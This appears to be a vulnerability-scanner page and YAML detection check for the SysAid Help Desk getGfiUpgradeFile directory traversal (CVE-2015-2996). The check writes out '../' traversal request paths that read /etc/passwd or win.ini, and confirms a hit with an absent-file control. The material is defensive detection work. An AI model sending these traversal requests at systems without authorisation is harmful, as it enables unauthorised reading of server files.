SysAid — 1 vulnerability check
noctis ships 1 vulnerability check for SysAid, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
SysAid Help Desk getGfiUpgradeFile Directory Traversal
| CVE | CVE-2015-2996 |
|---|---|
| Severity | high · CVSS 8.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/sysaid/CVE-2015-2996.yaml |
Tests SysAid Help Desk (< 15.2) for the unauthenticated getGfiUpgradeFile directory traversal, under the /sysaid context and at the web root. A `../`-sequence fileName reads /etc/passwd or windows/win.ini; the finding is raised when the reply is HTTP 200 with the file's content and the same request for an absent file (a random missing directory before the file name) comes back without it, so a server that answers every path with the same body is not reported.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{probe_path}} HTTP/1.0 - Checks
probe_resp.bannerfor(?si)^HTTP/1\.[01] 200.*(root:[^:\r\n]*:0:[01]:|; for 16-bit app supp… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{ctrl_path}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
traversal_hitfor^yes$→ finding QoD 75: SysAid Help Desk getGfiUpgradeFile Directory Traversal (CVE-2015-2996)
References:
Feed source — tests/vulnerabilities/sysaid/CVE-2015-2996.yaml
# SysAid Help Desk getGfiUpgradeFile Directory Traversal — CVE-2015-2996
#
# SysAid Help Desk before 15.2 serves `getGfiUpgradeFile?fileName=<name>` without
# authentication and joins `fileName` onto its upgrade directory without
# canonicalising it, so a `../` sequence escapes and any file readable by the
# SysAid service is returned.
#
# Detection mirrors the source NASL: request
# <dir>/getGfiUpgradeFile?fileName=../../../../../../../<file>
# and confirm the leaked file content (traversal_files() patterns):
# etc/passwd → "root:.*:0:[01]:"
# windows/win.ini → "; for 16-bit app support" / "[fonts]"
# Only a leaked-file match raises a finding (QoD 75, response analysis): the
# benign proof is reading a world-readable system file, nothing is written.
#
# Absent-file control: a hit only records the file; the same request is then
# sent with a random missing directory inserted before the file
# (../noctis-absent-<rnd>/etc/passwd), and the finding is raised only when that
# control is answered without any file signature (fail closed). A server that
# returns the same passwd / win.ini body for every path is not reported.
#
# Improvements over the NASL:
# - The NASL only runs where its SysAid detection found an install directory.
# This feed tries both the default `/sysaid` context and the web root (SysAid
# deployed as ROOT), as the Nuclei template does, so it needs no prior
# product detection.
# - It requires an HTTP 200 status line before the file signature, so an
# error page that merely echoes the requested path cannot match.
#
# The request is sent verbatim over HTTP/1.0 via tcp_connect so the `../`
# sequence reaches the server untouched (the same step wraps TLS on https).
#
# Ported from OpenVAS/Greenbone NVT 2015/gb_sysaid_dir_traversal_vuln.nasl
# (GPL-2.0-only). Request path and match patterns taken from that plugin and
# traversal_func.inc.
uid: 200f6e6d-d1c8-4e2f-aab3-83c84ff044cd
name: "SysAid Help Desk getGfiUpgradeFile Directory Traversal (CVE-2015-2996)"
description: |
Tests SysAid Help Desk (< 15.2) for the unauthenticated getGfiUpgradeFile
directory traversal, under the /sysaid context and at the web root. A
`../`-sequence fileName reads /etc/passwd or windows/win.ini; the finding is
raised when the reply is HTTP 200 with the file's content and the same
request for an absent file (a random missing directory before the file name)
comes back without it, so a server that answers every path with the same
body is not reported.
cves: [CVE-2015-2996]
cvss: 8.5
severity: high
category: file-read
confidence_base: 0.30
tags: [sysaid, help-desk, path-traversal, file-read, web-abuse]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2015-2996"
- "https://seclists.org/fulldisclosure/2015/Jun/8"
# OpenVAS/Greenbone NASL 2015/gb_sysaid_dir_traversal_vuln.nasl (GPL-2.0-only)
steps:
# One iteration per (install location, file): default `/sysaid` context, then
# the web root; /etc/passwd, then windows/win.ini. The first step of the
# group resets every per-item result, so a refused connection never leaves a
# source undefined or carries the previous item's reply.
- id: init-probe-resp
action: set_var
var_name: probe_resp
var_value: {connected: false, banner: ""}
loop:
var: probe_path
over:
- "/sysaid/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd"
- "/sysaid/getGfiUpgradeFile?fileName=../../../../../../../windows/win.ini"
- "/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd"
- "/getGfiUpgradeFile?fileName=../../../../../../../windows/win.ini"
- id: init-ctrl-resp
action: set_var
var_name: ctrl_resp
var_value: {connected: false, banner: ""}
- id: init-hit
action: set_var
var_name: traversal_hit
var_value: ""
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
- id: traversal
action: tcp_connect
port: "{{port}}"
send: "GET {{probe_path}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: probe_resp
# No finding here: the reply carries the file. Raised below once the
# absent-file control is clean.
- id: traversal-match
action: match
source: probe_resp.banner
pattern: "(?si)^HTTP/1\\.[01] 200.*(root:[^:\\r\\n]*:0:[01]:|; for 16-bit app support|\\[fonts\\])"
on_match:
set_vars:
traversal_hit: "yes"
# ── Control: same request, absent file ──
# A random missing directory inserted right before the file (still ending in
# etc/passwd or windows/win.ini), so a server that keys a fake file on that
# name answers it too. SysAid answers 404.
- id: control-path
action: script
condition: 'traversal_hit != ""'
code: |
ereg_replace("^(.*?)(/)(etc|windows)/", "${1}${2}noctis-absent-" + oob_token + "${2}${3}/", probe_path)
store_as: ctrl_path
- id: control
action: tcp_connect
port: "{{port}}"
condition: 'traversal_hit != ""'
send: "GET {{ctrl_path}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: ctrl_resp
# Fail closed: the control must have answered over HTTP, without any file content.
- id: control-verdict
action: script
condition: 'traversal_hit != ""'
code: |
let b = ctrl_resp.banner;
type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("(?i)root:[^:\\r\\n]*:0:[01]:|; for 16-bit app support|\\[fonts\\]", b)
store_as: ctrl_clean
- id: traversal-report
action: match
source: traversal_hit
pattern: "^yes$"
condition: "ctrl_clean == true"
on_match:
finding:
title: "SysAid Help Desk getGfiUpgradeFile Directory Traversal (CVE-2015-2996)"
description: "An unauthenticated request to getGfiUpgradeFile with a ../-sequence fileName returned HTTP 200 and the content of a system file (/etc/passwd or windows/win.ini), while the same request for an absent file did not, confirming the SysAid directory traversal (CVE-2015-2996)."
remediation: "Upgrade SysAid Help Desk to version 15.2 or later."
confidence_delta: 0.55
qod: 75
evidence: "GET {{probe_path}} returned the content of a system file (HTTP 200); the same request for an absent file did not"
stop: true